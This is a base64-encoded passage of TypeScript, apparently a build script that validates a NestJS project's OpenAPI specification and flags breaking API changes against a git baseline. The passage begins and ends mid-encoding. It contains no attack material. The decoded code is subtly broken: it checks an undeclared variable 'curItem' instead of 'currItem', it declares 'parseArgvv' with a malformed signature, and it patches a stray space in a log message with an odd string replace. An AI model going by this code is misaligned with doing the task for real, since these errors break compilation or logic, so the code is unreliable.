IChiYXNlbGluZS5wYXRocyB8fCB7fSkgYXMgUmVjb3JkPHN0cmluZywgYW55PjsKICBjb25zdCBjdXJyUGF0aHMgPSAoY3VycmVudC5wYXRocyB8fCB7fSkgYXMgUmVjb3JkPHN0cmluZywgYW55PjsKCiAgZm9yIChjb25zdCBbcGF0aCwgYmFzZUl0ZW1dIG9mIE9iamVjdC5lbnRyaWVzKGJhc2VQYXRocykpIHsKICAgIGNvbnN0IGN1cnJJdGVtID0gY3VyclBhdGhzW3BhdGhdOwogICAgaWYgKCFjdXJJdGVtKSB7CiAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAga2luZDogInJlbW92ZWQtZW5kcG9pbnQiLAogICAgICAgIGxvY2F0aW9uOiBwYXRoLAogICAgICAgIG1lc3NhZ2U6IGBFbmRwb2ludCAke3BhdGh9IHdhcyByZW1vdmVkYCwKICAgICAgfSk7CiAgICAgIGNvbnRpbnVlOwogICAgfQoKICAgIGZvciAoY29uc3QgbWV0aG9kIG9mIEhUVFBfTUVUSE9EUykgewogICAgICBjb25zdCBiYXNlT3AgPSBiYXNlSXRlbVttZXRob2RdOwogICAgICBpZiAoIWJhc2VPcCkgewogICAgICAgIGNvbnRpbnVlOwogICAgICB9CiAgICAgIGNvbnN0IGN1cnJPcCA9IGN1cnJJdGVtW21ldGhvZF07CiAgICAgIGNvbnN0IGxvY2F0aW9uID0gYCR7bWV0aG9kLnRvVXBwZXJDYXNlKCl9ICR7cGF0aH1gOwogICAgICBpZiAoIWN1cnJPcCkgewogICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICBraW5kOiAicmVtb3ZlZC1tZXRob2QiLAogICAgICAgICAgbG9jYXRpb24sCiAgICAgICAgICBtZXNzYWdlOiBgTWV0aG9kICR7bWV0aG9kLnRvVXBwZXJDYXNlKCl9ICR7cGF0aH0gd2FzIHJlbW92ZWRgLAogICAgICAgIH0pOwogICAgICAgIGNvbnRpbnVlOwogICAgICB9CgogICAgICAvLyBSZXNwb25zZSBzdGF0dXMgY29kZXMKICAgICAgY29uc3QgYmFzZVJlc3BvbnNlcyA9IGNvbGxlY3RSZXNwb25zZVN0YXR1c2VzKGJhc2VPcCk7CiAgICAgIGNvbnN0IGN1cnJSZXNwb25zZXMgPSBjb2xsZWN0UmVzcG9uc2VTdGF0dXNlcyhjdXJyT3ApOwogICAgICBmb3IgKGNvbnN0IFtzdGF0dXMsIGJhc2VSZXNwb25zZV0gb2YgYmFzZVJlc3BvbnNlcykgewogICAgICAgIGNvbnN0IGN1cnJSZXNwb25zZSA9IGN1cnJSZXNwb25zZXMuZ2V0KHN0YXR1cyk7CiAgICAgICAgaWYgKCFjdXJyUmVzcG9uc2UpIHsKICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgIGtpbmQ6ICJyZW1vdmVkLXJlc3BvbnNlLXN0YXR1cyIsCiAgICAgICAgICAgIGxvY2F0aW9uOiBgJHtsb2NhdGlvbn0gLT4gJHtzdGF0dXN9YCwKICAgICAgICAgICAgbWVzc2FnZTogYFJlc3BvbnNlIHN0YXR1cyAke3N0YXR1c30gd2FzIHJlbW92ZWQgZnJvbSAke2xvY2F0aW9ufWAsCiAgICAgICAgICB9KTsKICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KCiAgICAgICAgY29uc3QgYmFzZVNjaGVtYSA9IGJhc2VSZXNwb25zZS5jb250ZW50Py5bImFwcGxpY2F0aW9uL2pzb24iXT8uc2NoZW1hOwogICAgICAgIGNvbnN0IGN1cnJTY2hlbWEgPSBjdXJyUmVzcG9uc2UuY29udGVudD8uWyJhcHBsaWNhdGlvbi9qc29uIl0/LnNjaGVtYTsKICAgICAgICBpZiAoIWJhc2VTY2hlbWEpIHsKICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBpZiAoIWN1cnJTY2hlbWEpIHsKICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgIGtpbmQ6ICJyZW1vdmVkLXJlc3BvbnNlLXByb3BlcnR5IiwKICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke3N0YXR1c30gYm9keWAsCiAgICAgICAgICAgIG1lc3NhZ2U6IGBSZXNwb25zZSBib2R5IHNjaGVtYSB3YXMgcmVtb3ZlZCBmb3IgJHtsb2NhdGlvbn0gKCR7c3RhdHVzfSlgLAogICAgICAgICAgfSk7CiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGJhc2VQcm9wcyA9IG5ldyBNYXA8c3RyaW5nLCBzdHJpbmc+KCk7CiAgICAgICAgY29sbGVjdFJlc3BvbnNlUHJvcGVydGllcygKICAgICAgICAgIGJhc2VsaW5lIGFzIGFueSwKICAgICAgICAgIGJhc2VTY2hlbWEsCiAgICAgICAgICAiIiwKICAgICAgICAgIGJhc2VQcm9wcywKICAgICAgICAgIG5ldyBTZXQoKSwKICAgICAgICApOwogICAgICAgIGNvbnN0IGN1cnJQcm9wcyA9IG5ldyBNYXA8c3RyaW5nLCBzdHJpbmc+KCk7CiAgICAgICAgY29sbGVjdFJlc3BvbnNlUHJvcGVydGllcygKICAgICAgICAgIGN1cnJlbnQgYXMgYW55LAogICAgICAgICAgY3VyclNjaGVtYSwKICAgICAgICAgICIiLAogICAgICAgICAgY3VyclByb3BzLAogICAgICAgICAgbmV3IFNldCgpLAogICAgICAgICk7CgogICAgICAgIGZvciAoY29uc3QgW3Byb3AsIGJhc2VUeXBlXSBvZiBiYXNlUHJvcHMpIHsKICAgICAgICAgIGNvbnN0IGN1cnJUeXBlID0gY3VyclByb3BzLmdldChwcm9wKTsKICAgICAgICAgIGlmIChjdXJyVHlwZSA9PT0gdW5kZWZpbmVkKSB7CiAgICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgICAga2luZDogInJlbW92ZWQtcmVzcG9uc2UtcHJvcGVydHkiLAogICAgICAgICAgICAgIGxvY2F0aW9uOiBgJHtsb2NhdGlvbn0gLT4gJHtzdGF0dXN9IC0+ICR7cHJvcH1gLAogICAgICAgICAgICAgIG1lc3NhZ2U6IGBSZXNwb25zZSBwcm9wZXJ0eSAke3Byb3B9IHdhcyByZW1vdmVkIGZyb20gJHtsb2NhdGlvbn0gKCR7c3RhdHVzfSlgLAogICAgICAgICAgICB9KTsKICAgICAgICAgIH0gZWxzZSBpZiAoY3VyclR5cGUgIT09IGJhc2VUeXBlKSB7CiAgICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgICAga2luZDogImNoYW5nZWQtcHJvcGVydHktdHlwZSIsCiAgICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke3N0YXR1c30gLT4gJHtwcm9wfWAsCiAgICAgICAgICAgICAgbWVzc2FnZTogYFJlc3BvbnNlIHByb3BlcnR5ICR7cHJvcH0gdHlwZSBjaGFuZ2VkIGZyb20gJyR7YmFzZVR5cGV9JyB0byAnJHtjdXJyVHlwZX0nIGluICR7bG9jYXRpb259ICgke3N0YXR1c30pYCwKICAgICAgICAgICAgfSk7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CgogICAgICAvLyBQYXJhbWV0ZXJzCiAgICAgIGNvbnN0IGJhc2VQYXJhbXMgPSBjb2xsZWN0UGFyYW1ldGVycyhiYXNlT3ApOwogICAgICBjb25zdCBjdXJyUGFyYW1zID0gY29sbGVjdFBhcmFtZXRlcnMoY3Vyck9wKTsKICAgICAgZm9yIChjb25zdCBba2V5LCBiYXNlUGFyYW1dIG9mIGJhc2VQYXJhbXMpIHsKICAgICAgICBjb25zdCBjdXJyUGFyYW0gPSBjdXJyUGFyYW1zLmdldChrZXkpOwogICAgICAgIGlmICghY3VyclBhcmFtKSB7CiAgICAgICAgICBpZiAoYmFzZVBhcmFtLmluID09PSAicGF0aCIpIHsKICAgICAgICAgICAgY2hhbmdlcy5wdXNoKHsKICAgICAgICAgICAgICBraW5kOiAicmVtb3ZlZC1wYXRoLXBhcmFtZXRlciIsCiAgICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke2tleX1gLAogICAgICAgICAgICAgIG1lc3NhZ2U6IGBQYXRoIHBhcmFtZXRlciAke2Jhc2VQYXJhbS5uYW1lfSB3YXMgcmVtb3ZlZCBmcm9tICR7bG9jYXRpb259YCwKICAgICAgICAgICAgfSk7CiAgICAgICAgICB9CiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgY29uc3QgYmFzZVR5cGUgPSBub3JtYWxpemVUeXBlKGJhc2VQYXJhbS5zY2hlbWE/LnR5cGUpOwogICAgICAgIGNvbnN0IGN1cnJUeXBlID0gbm9ybWFsaXplVHlwZShjdXJyUGFyYW0uc2NoZW1hPy50eXBlKTsKICAgICAgICBpZiAoYmFzZVR5cGUgIT09IGN1cnJUeXBlKSB7CiAgICAgICAgICBjaGFuZ2VzLnB1c2goewogICAgICAgICAgICBraW5kOiAiY2hhbmdlZC1wYXJhbWV0ZXItdHlwZSIsCiAgICAgICAgICAgIGxvY2F0aW9uOiBgJHtsb2NhdGlvbn0gLT4gJHtrZXl9YCwKICAgICAgICAgICAgbWVzc2FnZTogYFBhcmFtZXRlciAke2Jhc2VQYXJhbS5uYW1lfSB0eXBlIGNoYW5nZWQgZnJvbSAnJHtiYXNlVHlwZX0nIHRvICcke2N1cnJUeXBlfScgaW4gJHtsb2NhdGlvbn1gLAogICAgICAgICAgfSk7CiAgICAgICAgfQogICAgICB9CgogICAgICBmb3IgKGNvbnN0IFtrZXksIGN1cnJQYXJhbV0gb2YgY3VyclBhcmFtcykgewogICAgICAgIGlmIChiYXNlUGFyYW1zLmhhcyhrZXkpKSB7CiAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKGN1cnJQYXJhbS5yZXF1aXJlZCA9PT0gdHJ1ZSkgewogICAgICAgICAgY2hhbmdlcy5wdXNoKHsKICAgICAgICAgICAga2luZDogImFkZGVkLXJlcXVpcmVkLXJlcXVlc3QtcGFyYW1ldGVyIiwKICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiAke2tleX1gLAogICAgICAgICAgICBtZXNzYWdlOiBgUmVxdWlyZWQgcGFyYW1ldGVyICR7Y3VyclBhcmFtLm5hbWV9ICgke2N1cnJQYXJhbS5pbn0pIHdhcyBhZGRlZCB0byAke2xvY2F0aW9ufWAsCiAgICAgICAgICB9KTsKICAgICAgICB9CiAgICAgIH0KCiAgICAgIC8vIFJlcXVlc3QgYm9keSByZXF1aXJlZCBwcm9wZXJ0aWVzCiAgICAgIGNvbnN0IGJhc2VSZXF1ZXN0U2NoZW1hID0KICAgICAgICBiYXNlT3AucmVxdWVzdEJvZHk/LmNvbnRlbnQ/LlsiYXBwbGljYXRpb24vanNvbiJdPy5zY2hlbWE7CiAgICAgIGNvbnN0IGN1cnJSZXF1ZXN0U2NoZW1hID0KICAgICAgICBjdXJyT3AucmVxdWVzdEJvZHk/LmNvbnRlbnQ/LlsiYXBwbGljYXRpb24vanNvbiJdPy5zY2hlbWE7CiAgICAgIGlmIChjdXJyUmVxdWVzdFNjaGVtYSkgewogICAgICAgIGNvbnN0IGJhc2VSZXF1aXJlZCA9IG5ldyBNYXA8c3RyaW5nLCBzdHJpbmc+KCk7CiAgICAgICAgaWYgKGJhc2VSZXF1ZXN0U2NoZW1hKSB7CiAgICAgICAgICBjb2xsZWN0UmVxdWVzdEJvZHlSZXF1aXJlZCgKICAgICAgICAgICAgYmFzZWxpbmUgYXMgYW55LAogICAgICAgICAgICBiYXNlUmVxdWVzdFNjaGVtYSwKICAgICAgICAgICAgIiIsCiAgICAgICAgICAgIGJhc2VSZXF1aXJlZCwKICAgICAgICAgICAgbmV3IFNldCgpLAogICAgICAgICAgKTsKICAgICAgICB9CiAgICAgICAgY29uc3QgY3VyclJlcXVpcmVkID0gbmV3IE1hcDxzdHJpbmcsIHN0cmluZz4oKTsKICAgICAgICBjb2xsZWN0UmVxdWVzdEJvZHlSZXF1aXJlZCgKICAgICAgICAgIGN1cnJlbnQgYXMgYW55LAogICAgICAgICAgY3VyclJlcXVlc3RTY2hlbWEsCiAgICAgICAgICAiIiwKICAgICAgICAgIGN1cnJSZXF1aXJlZCwKICAgICAgICAgIG5ldyBTZXQoKSwKICAgICAgICApOwogICAgICAgIGZvciAoY29uc3QgW3Byb3AsIHR5cGVdIG9mIGN1cnJSZXF1aXJlZCkgewogICAgICAgICAgaWYgKCFiYXNlUmVxdWlyZWQuaGFzKHByb3ApKSB7CiAgICAgICAgICAgIGNoYW5nZXMucHVzaCh7CiAgICAgICAgICAgICAga2luZDogImFkZGVkLXJlcXVpcmVkLXJlcXVlc3QtYm9keS1wcm9wZXJ0eSIsCiAgICAgICAgICAgICAgbG9jYXRpb246IGAke2xvY2F0aW9ufSAtPiByZXF1ZXN0Qm9keSAtPiAke3Byb3B9YCwKICAgICAgICAgICAgICBtZXNzYWdlOiBgUmVxdWlyZWQgcmVxdWVzdCBib2R5IHByb3BlcnR5ICR7cHJvcH0gKCR7dHlwZX0pIHdhcyBhZGRlZCB0byAke2xvY2F0aW9ufWAsCiAgICAgICAgICAgIH0pOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgfQogIH0KCiAgcmV0dXJuIGNoYW5nZXM7Cn0KCmZ1bmN0aW9uIHBhcnNlQXJndnY6IHsgYWxsb3dCcmVha2luZ0NoYW5nZXM6IGJvb2xlYW47IGJhc2VsaW5lUmVmPzogc3RyaW5nIH0gewogIGNvbnN0IGFyZ3YgPSBwcm9jZXNzLmFyZ3Yuc2xpY2UoMik7CiAgY29uc3Qgb3B0aW9ucyA9IHsgYWxsb3dCcmVha2luZ0NoYW5nZXM6IGZhbHNlIGFzIGJvb2xlYW4sIGJhc2VsaW5lUmVmOiB1bmRlZmluZWQgYXMgc3RyaW5nIHwgdW5kZWZpbmVkIH07CiAgZm9yIChsZXQgaSA9IDA7IGkgPCBhcmd2Lmxlbmd0aDsgaSsrKSB7CiAgICBjb25zdCBhcmcgPSBhcmd2W2ldOwogICAgaWYgKGFyZyA9PT0gIi0tYWxsb3ctYnJlYWtpbmctY2hhbmdlcyIpIHsKICAgICAgb3B0aW9ucy5hbGxvd0JyZWFraW5nQ2hhbmdlcyA9IHRydWU7CiAgICB9IGVsc2UgaWYgKGFyZyA9PT0gIi0tYmFzZWxpbmUiICYmIGFyZ3ZbaSArIDFdKSB7CiAgICAgIG9wdGlvbnMuYmFzZWxpbmVSZWYgPSBhcmd2WysraV07CiAgICB9IGVsc2UgaWYgKGFyZy5zdGFydHNXaXRoKCItLWJhc2VsaW5lPSIpKSB7CiAgICAgIG9wdGlvbnMuYmFzZWxpbmVSZWYgPSBhcmcuc3Vic3RyaW5nKCItLWJhc2VsaW5lPSIubGVuZ3RoKTsKICAgIH0KICB9CiAgcmV0dXJuIG9wdGlvbnM7Cn0KCmFzeW5jIGZ1bmN0aW9uIHZhbGlkYXRlT3BlbkFQSSgKICBvcHRpb25zOiBDb21wYXJlT3B0aW9ucyA9IHt9LAopOiBQcm9taXNlPFZhbGlkYXRpb25SZXN1bHQ+IHsKICBjb25zdCByZXN1bHQ6IFZhbGlkYXRpb25SZXN1bHQgPSB7CiAgICB2YWxpZDogdHJ1ZSwKICAgIGVycm9yczogW10sCiAgICB3YXJuaW5nczogW10sCiAgICBicmVha2luZ0NoYW5nZXM6IFtdLAogICAgc3RhdHM6IHsKICAgICAgZW5kcG9pbnRzOiAwLAogICAgICBzY2hlbWFzOiAwLAogICAgICB0YWdzOiAwLAogICAgICBzZWN1cml0eVNjaGVtZXM6IDAsCiAgICB9LAogIH07CgogIHRyeSB7CiAgICBjb25zdCBzcGVjUGF0aCA9IGpvaW4oX19kaXJuYW1lLCAiLi4iLCAiZG9jcyIsICJvcGVuYXBpLmpzb24iKTsKCiAgICBpZiAoIWV4aXN0c1N5bmMoc3BlY1BhdGgpKSB7CiAgICAgIGNvbnNvbGUubG9nKCLwn5OdIEdlbmVyYXRpbmcgT3BlbkFQSSBzcGVjIGZpcnN0Li4uIik7CiAgICAgIGF3YWl0IGdlbmVyYXRlT3BlbkFQSVNwZWMoKTsKICAgIH0KCiAgICBjb25zdCBzcGVjQ29udGVudCA9IHJlYWRGaWxlU3luYyhzcGVjUGF0aCwgInV0Zi04Iik7CiAgICBjb25zdCBzcGVjOiBPcGVuQVBJT2JqZWN0ID0gSlNPTi5wYXJzZShzcGVjQ29udGVudCk7CgogICAgY29uc29sZS5sb2coIlxu8J+UjSBWYWxpZGF0aW5nIE9wZW5BUEkgU3BlY2lmaWNhdGlvblxuIik7CgogICAgaWYgKCFzcGVjLm9wZW5hcGkpIHsKICAgICAgcmVzdWx0LmVycm9ycy5wdXNoKCJNaXNzaW5nIG9wZW5hcGkgdmVyc2lvbiIpOwogICAgfQogICAgaWYgKCFzcGVjLmluZm8pIHsKICAgICAgcmVzdWx0LmVycm9ycy5wdXNoKCJNaXNzaW5nIGluZm8gb2JqZWN0Iik7CiAgICB9CiAgICBpZiAoIXNwZWMucGF0aHMpIHsKICAgICAgcmVzdWx0LmVycm9ycy5wdXNoKCJNaXNzaW5nIHBhdGhzIG9iamVjdCIpOwogICAgfQoKICAgIHJlc3VsdC5zdGF0cy5lbmRwb2ludHMgPSBPYmplY3Qua2V5cyhzcGVjLnBhdGhzIHx8IHt9KS5sZW5ndGg7CiAgICByZXN1bHQuc3RhdHMuc2NoZW1hcyA9IE9iamVjdC5rZXlzKHNwZWMuY29tcG9uZW50cz8uc2NoZW1hcyB8fCB7fSkubGVuZ3RoOwogICAgcmVzdWx0LnN0YXRzLnRhZ3MgPSBzcGVjLnRhZ3M/Lmxlbmd0aCB8fCAwOwogICAgcmVzdWx0LnN0YXRzLnNlY3VyaXR5U2NoZW1lcyA9IE9iamVjdC5rZXlzKAogICAgICBzcGVjLmNvbXBvbmVudHM/LnNlY3VyaXR5U2NoZW1lcyB8fCB7fSwKICAgICkubGVuZ3RoOwoKICAgIGNvbnN0IHJlcXVpcmVkVGFncyA9IFsiSGVhbHRoIiwgIkF1dGhlbnRpY2F0aW9uIiwgIlVzZXJzIiwgIk9yYWNsZSJdOwogICAgY29uc3QgZXhpc3RpbmdUYWdzID0gKHNwZWMudGFncyB8fCBbXSkubWFwKCh0OiBhbnkpID0+IHQubmFtZSk7CgogICAgZm9yIChjb25zdCB0YWcgb2YgcmVxdWlyZWRUYWdzKSB7CiAgICAgIGlmICghZXhpc3RpbmdUYWdzLmluY2x1ZGVzKHRhZykpIHsKICAgICAgICByZXN1bHQud2FybmluZ3MucHVzaChgTWlzc2luZyByZWNvbW1lbmRlZCB0YWc6ICR7dGFnfWApOwogICAgICB9CiAgICB9CgogICAgY29uc3Qgc2VjdXJpdHlTY2hlbWVzID0gc3BlYy5jb21wb25lbnRzPy5zZWN1cml0eVNjaGVtZXMgfHwge307CiAgICBpZiAoIXNlY3VyaXR5U2NoZW1lc1siSldULWF1dGgiXSkgewogICAgICByZXN1bHQud2FybmluZ3MucHVzaCgiTWlzc2luZyBKV1Qgc2VjdXJpdHkgc2NoZW1lIChKV1QtYXV0aCkiKTsKICAgIH0KICAgIGlmICghc2VjdXJpdHlTY2hlbWVzWyJhcGkta2V5Il0pIHsKICAgICAgcmVzdWx0Lndhcm5pbmdzLnB1c2goIk1pc3NpbmcgQVBJIGtleSBzZWN1cml0eSBzY2hlbWUiKTsKICAgIH0KCiAgICBpZiAoIXNwZWMuc2VydmVycyB8fCBzcGVjLnNlcnZlcnMubGVuZ3RoID09PSAwKSB7CiAgICAgIHJlc3VsdC53YXJuaW5ncy5wdXNoKCJObyBzZXJ2ZXJzIGRlZmluZWQgaW4gc3BlYyIpOwogICAgfQoKICAgIGxldCB1bmRvY3VtZW50ZWRFbmRwb2ludHMgPSAwOwoKICAgIGZvciAoY29uc3QgW3BhdGgsIHBhdGhJdGVtXSBvZiBPYmplY3QuZW50cmllcyhzcGVjLnBhdGhzIHx8IHt9KSkgewogICAgICBmb3IgKGNvbnN0IFttZXRob2QsIG9wZXJhdGlvbl0gb2YgT2JqZWN0LmVudHJpZXMocGF0aEl0ZW0gYXMgYW55KSkgewogICAgICAgIGlmICgKICAgICAgICAgIFsiZ2V0IiwgInBvc3QiLCAicHV0IiwgImRlbGV0ZSIsICJwYXRjaCIsICJvcHRpb25zIl0uaW5jbHVkZXMobWV0aG9kKQogICAgICAgICkgewogICAgICAgICAgaWYgKCFvcGVyYXRpb24uc3VtbWFyeSkgewogICAgICAgICAgICB1bmRvY3VtZW50ZWRFbmRwb2ludHMrKzsKICAgICAgICAgIH0KCiAgICAgICAgICBpZiAoIW9wZXJhdGlvbi5yZXNwb25zZXMpIHsKICAgICAgICAgICAgcmVzdWx0Lndhcm5pbmdzLnB1c2goCiAgICAgICAgICAgICAgYE1pc3NpbmcgcmVzcG9uc2VzIGZvciAke21ldGhvZC50b1VwcGVyQ2FzZSgpfSAke3BhdGh9YCwKICAgICAgICAgICAgKTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICBpZiAodW5kb2N1bWVudGVkRW5kcG9pbnRzID4gMCkgewogICAgICByZXN1bHQud2FybmluZ3MucHVzaCgKICAgICAgICBgJHt1bmRvY3VtZW50ZWRFbmRwb2ludHN9IGVuZHBvaW50cyBtaXNzaW5nIHN1bW1hcnkgZG9jdW1lbnRhdGlvbmAsCiAgICAgICk7CiAgICB9CgogICAgLy8gQnJlYWtpbmcgY2hhbmdlIGRldGVjdGlvbiBhZ2FpbnN0IHRoZSBnaXQgYmFzZWxpbmUKICAgIGNvbnN0IGJhc2VsaW5lID0gcmVzb2x2ZUJhc2VsaW5lU3BlYyhvcHRpb25zLmJhc2VsaW5lUmVmKTsKICAgIGlmIChiYXNlbGluZSkgewogICAgICBjb25zdCBicmVha2luZ0NoYW5nZXMgPSBkZXRlY3RCcmVha2luZ0NoYW5nZXMoYmFzZWxpbmUsIHNwZWMpOwogICAgICByZXN1bHQuYnJlYWtpbmdDaGFuZ2VzID0gYnJlYWtpbmdDaGFuZ2VzOwoKICAgICAgaWYgKGJyZWFraW5nQ2hhbmdlcy5sZW5ndGggPiAwKSB7CiAgICAgICAgY29uc29sZS5sb2coCiAgICAgICAgICBgXG7imqAgRGV0ZWN0ZWQgJHticmVha2luZ0NoYW5nZXMubGVuZ3RofSBi cmVha2luZyBBUEkgY2hhbmdlKHMpIGFnYWluc3QgYmFzZWxpbmU6YC5yZXBsYWNlKCJiICIsICJiIiksCiAgICAgICAgKTsKICAgICAgICBmb3IgKGNvbnN0IGNoYW5nZSBvZiBicmVha2luZ0NoYW5nZXMpIHsKICAgICAgICAgIGNvbnNvbGUubG9nKGBcbiAgIFvwn5S0XSAke2NoYW5nZS5raW5kfWApOwogICAgICAgICAgY29uc29sZS5sb2coYCAgICAgICDwn5OBIExvY2F0aW9uOiAke2NoYW5nZS5sb2NhdGlvbn1gKTsKICAgICAgICAgIGNvbnNvbGUubG9nKGAgICAgICAgJHtjaGFuZ2UubWVzc2FnZX1gKTsKICAgICAgICB9CgogICAgICAgIGlmIChvcHRpb25zLmFsbG93QnJlYWtpbmdDaGFuZ2VzKSB7CiAgICAgICAgICBjb25zb2xlLmxvZygKICAgICAgICAgICAgIlxu4pqg77iPICAtLWFsbG93LWJyZWFraW5nLWNoYW5nZXMgd2FzIHNldDsgYnJlYWtpbmcgY2hhbmdlcyB3aWxsIG5vdCBmYWlsIENJLlxuIiArCiAgICAgICAgICAgICAgIiAgIFVzZSB0aGlzIG9ubHkgZm9yIGludGVudGlvbmFsIEFQSSBtYWpvciB2ZXJzaW9uIHVwZ3JhZGVzLiIsCiAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICByZXN1bHQuZXJyb3JzLnB1c2goCiAgICAgICAgICAgIGBEZXRlY3RlZCAke2JyZWFraW5nQ2hhbmdlcy5sZW5ndGh9IGJyZWFraW5nIEFQSSBjaGFuZ2UocykuIFJ1biB3aXRoIC0tYWxsb3ctYnJlYWtpbmctY2hhbmdlcyB0byBvdmVycmlkZS4iLAogICAgICAgICAgKTsKICAgICAgICAgIHJlc3VsdC52YWxpZCA9IGZhbHNlOwogICAgICAgIH0KICAgICAgfSBlbHNlIHsKICAgICAgICBjb25zb2xlLmxvZygiXG7inIUgTm8gYnJlYWtpbmcgQVBJIGNoYW5nZXMgZGV0ZWN0ZWQgYWdhaW5zdCBiYXNlbGluZS4iKTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgY29uc29sZS5sb2coCiAgICAgICAgIlxu4oS577iPICBObyBiYXNlbGluZSBPcGVuQVBJIHNwZWMgZm91bmQ7IHNraXBwaW5nIGJyZWFraW5nIGNoYW5nZSBkZXRlY3Rpb24uIiwKICAgICAgKTsKICAgIH0KCiAgICBjb25zb2xlLmxvZygiXG7wn5OKIFNwZWNpZmljYXRpb24gU3RhdGlzdGljczoiKTsKICAgIGNvbnNvbGUubG9nKGAgICBFbmRwb2ludHM6ICAgICAgICAke3Jlc3VsdC5zdGF0cy5lbmRwb2ludHN9YCk7CiAgICBjb25zb2xlLmxvZyhgICAgU2NoZW1hczogICAgICAgICAgJHtyZXN1bHQuc3RhdHMuc2NoZW1hc31gKTsKICAgIGNvbnNvbGUubG9nKGAgICBUYWdzOiAgICAgICAgICAgICAke3Jlc3VsdC5zdGF0cy50YWdzfWApOwogICAgY29uc29sZS5sb2coYCAgIFNlY3VyaXR5IFNjaGVtZXM6ICR7cmVzdWx0LnN0YXRzLnNlY3VyaXR5U2NoZW1lc31gKTsKCiAgICBpZiAocmVzdWx0LmVycm9ycy5sZW5ndGggPiAwKSB7CiAgICAgIGNvbnNvbGUubG9nKCJcbini1IFZhbGlkYXRpb24gRXJyb3JzOiIpOwogICAgICByZXN1bHQuZXJyb3JzLmZvckVhY2goKGVycikgPT4gY29uc29sZS5sb2coYCAgIC0gJHtlcnJ9YCkpOwogICAgICByZXN1bHQudmFsaWQgPSBmYWxzZTsKICAgIH0KCiAgICBpZiAocmVzdWx0Lndhcm5pbmdzLmxlbmd0aCA+IDApIHsKICAgICAgY29uc29sZS5sb2coIlxu4pqg77iPICBWYWxpZGF0aW9uIFdhcm5pbmdzOiIpOwogICAgICByZXN1bHQud2FybmluZ3MuZm9yRWFjaCgod2FybikgPT4gY29uc29sZS5sb2coYCAgIC0gJHt3YXJufWApKTsKICAgIH0KCiAgICBpZiAocmVzdWx0LnZhbGlkICYmIHJlc3VsdC5lcnJvcnMubGVuZ3RoID09PSAwKSB7CiAgICAgIGNvbnNvbGUubG9nKCJcbiniFIE9wZW5BUEkgc3BlY2lmaWNhdGlvbiBpcyB2YWxpZCBhbmQgY29tcGxldGUhIik7CiAgICB9CgogICAgcmV0dXJuIHJlc3VsdDsKICB9IGNhdGNoIChlcnJvcikgewogICAgcmVzdWx0LmVycm9ycy5wdXNoKGBWYWxpZGF0aW9uIGVycm9yOiAkeyhlcnJvciBhcyBFcnJvcikubWVzc2FnZX1gKTsKICAgIHJlc3VsdC52YWxpZCA9IGZhbHNlOwogICAgcmV0dXJuIHJlc3VsdDsKICB9Cn0KCmFzeW5jIGZ1bmN0aW9uIGdlbmVyYXRlT3BlbkFQSVNwZWMoKTogUHJvbWlzZTx2b2lkPiB7CiAgY29uc3QgYXBwID0gYXdhaXQgTmVzdEZhY3RvcnkuY3JlYXRlKEFwcE1vZHVsZSwgewogICAgbG9nZ2VyOiBmYWxzZSwKICAgIGFib3J0T25FcnJvcjogZmFsc2UsCiAgfSk7CgogIGNvbnN0IGNvbmZpZyA9IG5ldyBEb2N1bWVudEJ1aWxkZXIoKQogICAgLnNldFRpdGxlKCJUcmVsbGlzIEJhY2tlbmQgQVBJIikKICAgIC5zZXREZXNjcmlwdGlvbigKICAgICAgIkNvbXByZWhlbnNpdmUgQVBJIGRvY3VtZW50YXRpb24gZm9yIFRyZWxsaXMgYmFja2VuZCBzZXJ2aWNlcyIsCiAgICApCiAgICAuc2V0VmVyc2lvbigiMS4wLjAiKQogICAgLnNldENvbnRhY3QoIlRyZWxsaXMgVGVhbSIsICJodHRwczovL3RyZWxsaXMuZXhhbXBsZSIpCiAgICAuc2V0TGljZW5zZSgiTUlUIikKICAgIC5hZGRTZXJ2ZXIoImh0dHA6Ly9sb2NhbGhvc3Q6MzAwMSIsICJEZXZlbG9wbWVudCBTZXJ2ZXIiKQogICAgLmFkZFNlcnZlcigiaHR0cHM6Ly9hcGkudHJlbGxpcy5leGFtcGxlIiwgIlByb2R1Y3Rpb24gU2VydmVyIikKICAgIC5hZGRCZWFyZXJBdXRoKAogICAgICB7CiAgICAgICAgdHlwZTogImh0dHAiLAogICAgICAgIHNjaGVtZTogImJlYXJlciIsCiAgICAgICAgYmVhcmVyRm9ybWF0OiAiSldUIiwKICAgICAgICBkZXNjcmlwdGlvbjogIkVudGVyIEpXVCB0b2tlbiIsCiAgICAgICAgaW46ICJoZWFkZXIiLAogICAgICB9LAogICAgICAiSldULWF1dGgiLAogICAgKQogICAgLmFkZEFwaUtleSgKICAgICAgewogICAgICAgIHR5cGU6ICJhcGlLZXkiLAogICAgICAgIG5hbWU6ICJYLUFQSS1LZXkiLAogICAgICAgIGluOiAiaGVhZGVyIiwKICAgICAgICBkZXNjcmlwdGlvbjogIkFQSSBrZXkgZm9yIHNlcnZpY2UtdG8tc2VydmljZSBjb21tdW5pY2F0aW9uIiwKICAgICAgfSwKICAgICAgImFwaS1rZXkiLAogICAgKQogICAgLmJ1aWxkKCk7CgogIGNvbnN0IGRvY3VtZW50ID0gU3dhZ2